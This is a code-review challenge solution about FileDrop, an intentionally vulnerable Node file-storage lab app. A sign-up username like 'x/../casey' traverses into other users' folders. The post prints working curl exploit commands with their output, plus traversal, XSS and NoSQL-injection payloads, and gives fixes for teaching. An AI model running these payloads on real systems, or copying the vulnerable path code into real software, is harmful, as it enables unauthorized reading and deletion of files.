The Secure Code Review Challenge — Solution #6: 📥 FileDrop (Username Is User Input Too)

FileDrop looks like a textbook example of a well-built Node app: bcrypt, JWT with a pinned algorithm, NoSQL-injection sanitization, React auto-escaping, a strict CSP, and path.basename() on every filename to stop path traversal.

It still lets any anonymous visitor read, overwrite and delete every other user's files. The way in is the username field on the sign-up form.

This post walks through the full review: how the app works, where user input goes, which defenses hold, which one is missing, a working exploit, and the fix. Every code snippet you need is included, so you don't have to open the repo to follow along. Each snippet links to its exact lines on GitHub if you want more context.

🎥 Prefer video? The full walkthrough is on YouTube:

What is the Secure Code Review Challenge?

It's a free, biweekly series. Each challenge is a complete, realistic application with its own database, backend and UI, and one vulnerability planted on purpose, based on a real-world CVE or writeup. You review it the way you'd review a real codebase, then compare your reasoning with the published solution.

Every solution follows the same 7-step methodology:

1. 🗺️ Understand the application: architecture and main user stories
2. 🚪 Identify entry points: where user input comes in
3. 🎯 Identify dangerous sinks: where input could change behavior (queries, file paths, HTML, …)
4. 🧩 Build a threat model: business-logic risks (authN/authZ) and source-to-sink risks (injection)
5. 🔍 Review mitigations: which threats are actually closed, and which aren't
6. 🧪 Exploit: prove the unmitigated one is real
7. 🛠️ Fix: a primary fix plus defense-in-depth

📌 Repo: https://github.com/mohamed-osama-aboelkheir/the-secure-code-review-challenge
📌 Challenge #6 source: https://github.com/mohamed-osama-aboelkheir/the-secure-code-review-challenge/tree/main/challenges/006-filedrop

⚠️ Spoiler warning: if you want to try FileDrop yourself first, stop here and come back later.

1. 🗺️ Understanding the application

FileDrop is a personal file-storage service. You sign in, upload files, list them, download them and delete them.

• Backend: Express.js (Node)
• Frontend: a React single-page app, served by the same Express server
• Database: MongoDB stores the user records
• File storage: the uploaded files themselves are stored on the container's filesystem
• Auth: JWT bearer tokens in the Authorization header (no cookies)

The README makes one security promise:

"Every account has its own storage area on disk; the files in it are private to that account."

The whole review comes down to whether that promise holds.

A good way to understand a codebase is to read it as a set of stories. Two stories cover this app: what happens when it starts, and what happens when a user logs in, uploads and downloads a file.

🚀 Story 1: what happens when the app starts

docker-compose.yml starts two containers: a stock mongo:6.0 and the app. The app gets one important setting, the storage root:

  app:
    build: .
    environment:
      - MONGODB_URI=mongodb://mongodb:27017/filedrop
      - PORT=3000
      - STORAGE_ROOT=/app/data/files

docker-compose.yml

The Dockerfile builds the React client, then runs node app.js. In app.js, the server refuses to start without a JWT secret, which is a good sign:

if (!process.env.JWT_SECRET) {
  console.error('JWT_SECRET is not set. Refusing to start.');
  process.exit(1);
}

app.js#L19-L22

Then it registers global middleware, including a defense we'll come back to later, express-mongo-sanitize, and a strict Content Security Policy:

app.use(express.json());
app.use(express.urlencoded({ extended: true }));
app.use(mongoSanitize());   // strips keys containing $ or . → blocks NoSQL operator injection

app.use((req, res, next) => {
  res.setHeader(
    'Content-Security-Policy',
    "default-src 'self'; img-src 'self' data:; object-src 'none'; base-uri 'none'; form-action 'self'; frame-ancestors 'none'"
  );
  res.setHeader('X-Content-Type-Options', 'nosniff');
  ...
});

app.js#L34-L47

Finally it mounts two routers. /api/auth is public, and everything under /api/files goes through requireAuth:

app.use('/api/auth', authRoutes);
app.use('/api/files', requireAuth, filesRoutes);

app.js#L54-L55

On first boot, a seed script creates two demo accounts, demo and casey. Casey gets a file that's obviously sensitive, which makes it a good target for proving a cross-account read:

{
  username: 'casey',
  ...
  files: {
    'q3-forecast.csv': 'quarter,revenue,margin\n...',
    'private-keys-backup.txt': 'reminder: rotate the staging API token before the audit\n'
  }
}

src/store/seed.js#L18-L28

🔄 Story 2: register → log in → upload → download

Register. The register route validates the input. Read this part carefully, because it matters later:

const { username, email, password } = req.body;

if (typeof username !== 'string' || typeof email !== 'string' || typeof password !== 'string') {
  return res.status(400).json({ error: 'Invalid field types' });
}

const trimmedUsername = username.trim();
if (trimmedUsername.length < MIN_USERNAME_LENGTH || trimmedUsername.length > MAX_USERNAME_LENGTH) {
  return res.status(400).json({
    error: `Username must be between ${MIN_USERNAME_LENGTH} and ${MAX_USERNAME_LENGTH} characters`
  });
}
if (!EMAIL_PATTERN.test(email.trim())) { ... }       // email must look like an email
if (password.length < MIN_PASSWORD_LENGTH) { ... }   // password ≥ 8 chars

const passwordHash = await bcrypt.hash(password, 10);
const user = await db.createUser(trimmedUsername, email, passwordHash);

src/routes/auth.js#L34-L69

The email gets a format check and the password gets a length check. The username gets a type check and a length check (3–32 characters), and nothing else.

Log in. The login route looks the user up by username, compares bcrypt hashes, and returns the same generic error whether the user doesn't exist or the password is wrong. That's good practice, because it doesn't reveal which usernames exist. On success it signs a JWT with HS256:

const user = await db.findUserByUsername(username);
if (!user) return res.status(401).json({ error: 'Invalid credentials' });

const passwordMatch = await bcrypt.compare(password, user.passwordHash);
if (!passwordMatch) return res.status(401).json({ error: 'Invalid credentials' });

const token = issueToken(user);   // jwt.sign({ userId, username, email }, JWT_SECRET, { algorithm: 'HS256', expiresIn: '24h' })

src/routes/auth.js#L102-L112 · issueToken, auth.js#L20-L26

The React client stores the token in localStorage and sends it as a bearer header on every request:

async function request(path, { method = 'GET', body, headers = {} } = {}) {
  const token = getToken();                       // localStorage 'filedrop.token'
  const finalHeaders = { ...headers };
  if (token) {
    finalHeaders.Authorization = `Bearer ${token}`;
  }
  ...
}

web/src/api.js#L17-L22

Upload. Every /api/files request first passes through requireAuth. It pins the JWT algorithm (so the alg: none trick doesn't work), reloads the user from MongoDB, and sets req.user:

const decoded = jwt.verify(token, process.env.JWT_SECRET, { algorithms: ['HS256'] });
const user = await db.findUserById(decoded.userId);
if (!user) {
  return res.status(401).json({ error: 'User not found' });
}

req.user = {
  id: user.id,
  username: user.username,
  email: user.email
};
next();

src/middleware/auth.js#L26-L38

Then multer handles the upload, and this is where the location on disk is decided:

const STORAGE_ROOT = process.env.STORAGE_ROOT || path.join(__dirname, '..', '..', 'data', 'files');

// Every account keeps its files in its own area under the storage root, so one
// account's uploads never mix with another's.
function userDirectory(req) {
  return path.join(STORAGE_ROOT, req.user.username);
}

const storage = multer.diskStorage({
  destination(req, file, cb) {
    const userDir = userDirectory(req);
    fs.mkdirSync(userDir, { recursive: true });
    cb(null, userDir);
  },
  filename(req, file, cb) {
    // The browser controls the name of the part it sends, so keep the last
    // segment only: a name like "../../etc/passwd" becomes "passwd" and cannot
    // walk out of the upload directory.
    const safeName = path.basename(file.originalname || '');
    cb(null, safeName || `upload-${Date.now()}`);
  }
});

src/routes/files.js#L8-L31

So a file ends up at STORAGE_ROOT / <username> / <filename>. You can confirm this inside the container: /app/data/files/ contains one folder per user (casey/, demo/, testuser/, …).

Download. The download route takes the filename from the URL, strips any directory part, joins it onto the caller's folder, and sends the file back as a download:

router.get('/:filename/download', (req, res) => {
  // Strip any directory part the client tried to send, so the name can only
  // ever point at a file directly inside the caller's own directory.
  const filename = path.basename(req.params.filename);
  if (!filename || filename === '.' || filename === '..') {
    return res.status(400).json({ error: 'Filename required' });
  }

  const filePath = path.join(userDirectory(req), filename);
  if (!fs.existsSync(filePath) || !fs.statSync(filePath).isFile()) {
    return res.status(404).json({ error: 'File not found' });
  }

  res.setHeader('Content-Type', 'application/octet-stream');
  res.setHeader('X-Content-Type-Options', 'nosniff');
  res.download(filePath, filename);
});

src/routes/files.js#L95-L119

List (GET /api/files) and delete (DELETE /api/files/:filename) follow the same pattern, using userDirectory(req) plus a basename'd filename (files.js#L59-L68, files.js#L122-L140).

🧠 The key observation from step 1

Every file operation builds its path the same way:

path.join(STORAGE_ROOT, req.user.username, path.basename(filename))
          └── config ──┘ └──── ??? ──────┘ └──── sanitized ─────┘

There's no ownership record for files in the database. "Your files" just means "the files in the folder named after you." The isolation between accounts depends entirely on one assumption: that req.user.username is a single, safe folder name.

2. 🚪 Entry points

3. 🎯 Dangerous sinks

• S1: the filesystem path. path.join(STORAGE_ROOT, username, filename) decides which file is read, written or deleted. If user input can change it, you get path traversal (CWE-22).
• S2: MongoDB findOne queries built from the login/register body → NoSQL injection.
• S3: rendering the username in the React UI (Signed in as <strong>{user.username}</strong>) → XSS.

4 & 5. 🧩 Threat model & 🔍 mitigation review

🔓 Business logic

Authentication ✅. Register and login are public, which is expected. Everything under /api/files sits behind requireAuth, which pins HS256 and uses a required secret with no fallback.

IDOR, i.e. "can I ask for another user's file?" ✅. There's no file ID or owner ID anywhere in the API for an attacker to swap. Each route only works on the caller's own folder, and that folder comes from the caller's identity. So there's no missing ownership check here. Keep that in mind, because the bug turns out to be something else.

💉 Source-to-sink

S2, NoSQL injection ✅. The classic attack sends an object instead of a string, for example {"username": {"$ne": null}}. FileDrop blocks it twice: mongoSanitize() strips $ keys before any handler runs, and both routes reject non-string fields:

if (!username || !password || typeof username !== 'string' || typeof password !== 'string') {
  return res.status(400).json({ error: 'Username and password are required' });
}

src/routes/auth.js#L98

S3, XSS ✅. The username is rendered as {user.username} in JSX, and React escapes every value embedded in JSX, so a username like <img src=x onerror=alert(1)> shows up as harmless text. Uploaded files are served as application/octet-stream with nosniff under a strict CSP, so an uploaded .html or .svg can't run script on the site's origin either.

S1, path traversal: this is where it breaks ❌. The path has two user-controlled parts, and they're treated very differently.

The filename part ✅. Every route runs it through path.basename, which keeps only the last segment:

path.basename('../../etc/passwd')   // → 'passwd'
path.basename('../casey/secret.txt') // → 'secret.txt'

Download and delete also reject . and ... The code comments draw your attention here, and this part is safe.

The username part ❌. It looks fixed, because it comes from the JWT and the database. But you chose it yourself when you signed up, and the register route only checked its length. Slashes and .. are allowed, and database.js only trims whitespace:

async findUserByUsername(username) {
  const user = await this.usersCollection.findOne({ username: username.trim() });
  return this.toPublicUser(user);
}

src/store/database.js#L68-L71

Here's the important fact: path.join normalizes .. segments.

path.join('/app/data/files', 'x/../casey')   // → '/app/data/files/casey'

So a user who registers as x/../casey is a different account to MongoDB (a different string), but on disk they get Casey's folder.

💡 Reviewer's lesson: "this value comes from the database / the JWT" doesn't make it trusted. Trace it back to where it was first written. Here that's a sign-up form, which is user input.

6. 🧪 Exploitation

Why the payload is x/../casey and not ../casey

The x/ gives the .. something to cancel, so the path lands back inside STORAGE_ROOT, in the victim's folder.

PoC

B=http://localhost:3000

# 1) Register an attacker whose USERNAME traverses into casey's directory.
#    "x/../casey" is 10 chars → passes the 3–32 length check; slashes and .. are not filtered.
curl -s -X POST $B/api/auth/register -H 'Content-Type: application/json' \
  -d '{"username":"x/../casey","email":"[email protected]","password":"password123"}'
# → {"message":"User registered successfully","token":"...","user":{"username":"x/../casey",...}}

# 2) Log in and grab the token.
TOKEN=$(curl -s -X POST $B/api/auth/login -H 'Content-Type: application/json' \
  -d '{"username":"x/../casey","password":"password123"}' | jq -r .token)

# 3) List "my" files. They're actually casey's.
curl -s $B/api/files -H "Authorization: Bearer $TOKEN"
# → {"files":[{"name":"private-keys-backup.txt",...},{"name":"q3-forecast.csv",...}], ...}

# 4) Download casey's secret.
curl -s "$B/api/files/private-keys-backup.txt/download" -H "Authorization: Bearer $TOKEN"
# → reminder: rotate the staging API token before the audit

Compare that with a normal new account, which sees an empty list:

=== CONTROL: a normal attacker sees an empty drop ===
{"files":[],"usage":{"usedBytes":0,"quotaBytes":104857600}}

=== PAYLOAD: username "x/../casey" ===
{"files":[{"name":"private-keys-backup.txt","size":56,...},
          {"name":"q3-forecast.csv","size":68,...}],"usage":{"usedBytes":124,...}}

=== download private-keys-backup.txt ===
reminder: rotate the staging API token before the audit

The same trick works for upload (the attacker can plant files in Casey's folder) and delete (the attacker can wipe them). Registering a/../../../.. lets the account list and download files outside the storage root, anywhere the Node process can read.

Impact: a brand-new anonymous account can read, overwrite or delete any user's files, with no interaction from the victim. Confidentiality, integrity and availability are all lost for every account.

Classification: Path Traversal, CWE-22, via External Control of File Name or Path, CWE-73. The effect looks like an IDOR, but the cause is a source-to-sink injection. Adding an ownership check to each route wouldn't fix it. Not trusting a user string as a path segment would.

7. 🛠️ The fix

Option 1: an allowlist for usernames at registration. A length check isn't validation. Restrict the characters:

// src/routes/auth.js
const USERNAME_PATTERN = /^[a-zA-Z0-9_-]+$/;   // no '/', no '.', no '..'
if (!USERNAME_PATTERN.test(trimmedUsername)) {
  return res.status(400).json({ error: 'Username may contain only letters, numbers, _ and -' });
}

Option 2 (better): don't build the path from the username at all. Use the immutable, server-generated user ID instead. It's a MongoDB ObjectId, which findUserById already validates, so no attacker-chosen text ever reaches the path:

function userDirectory(req) {
  return path.join(STORAGE_ROOT, req.user.id);   // ObjectId hex, not attacker-chosen text
}

Defense-in-depth (do these too):

1. Check that the final path stays inside its base folder after you build it:

   const dir = path.resolve(STORAGE_ROOT, key);
   if (dir !== STORAGE_ROOT && !dir.startsWith(STORAGE_ROOT + path.sep)) {
     throw new Error('Path escapes storage root');
   }

1. Run that check in multer's destination callback too. It runs before your route handler, so the file is already written by the time the handler sees the request.
2. Record file ownership in the database ({ owner: userId, name }) and check it on download and delete, instead of assuming ownership from a folder name.
3. Keep path.basename on filenames and keep rejecting empty, . and .. names.

🌍 Real-world examples

• Zip Slip meets Artifactory: A Bug Bounty Story. JFrog Artifactory joined an archive entry's name onto a path as-is. An entry named ../../.../webapps/rce.war escaped into Tomcat's auto-deploy folder, which gave RCE. Same root cause as FileDrop (a name trusted as a path segment), and it was found the same way: by reading the code.
• Excessive Expansion: critical vulnerabilities in Jenkins (CVE-2024-23897). The args4j library quietly treats any CLI argument starting with @ as a file to read, so @/etc/passwd became an arbitrary file read. It's a different vector with the same lesson as path.join normalizing ..: know what each library call does with your input.

📚 More resources

• OWASP: Path Traversal
• OWASP Input Validation Cheat Sheet
• Node.js path docs (join normalizes ..; basename keeps the last segment)
• PortSwigger Web Security Academy: Path traversal labs

🎯 Takeaway

Trace every input to the sink it reaches, including the ones that don't look like input. FileDrop protected the obvious half of the path (the filename) and left the other half (the username) open. A username isn't just a display label. Here it was a folder name.

If you can, don't build sensitive values like paths from user input at all. Use server-generated IDs. When you can't avoid it, validate against a strict allowlist and check the final result.

🔔 What's next

Challenge #7: Blogger is live now. Can you find the bug before the solution drops?

👉 https://github.com/mohamed-osama-aboelkheir/the-secure-code-review-challenge/tree/main/challenges/007-blogger

New challenges land every two weeks, and each drop includes the previous challenge's solution. Watch the repo (Watch → Custom → Releases) to get notified, and subscribe to AppSec Untangled on YouTube for the video walkthroughs.

If you found the bug yourself, or took a different route to it, tell me in the comments 👇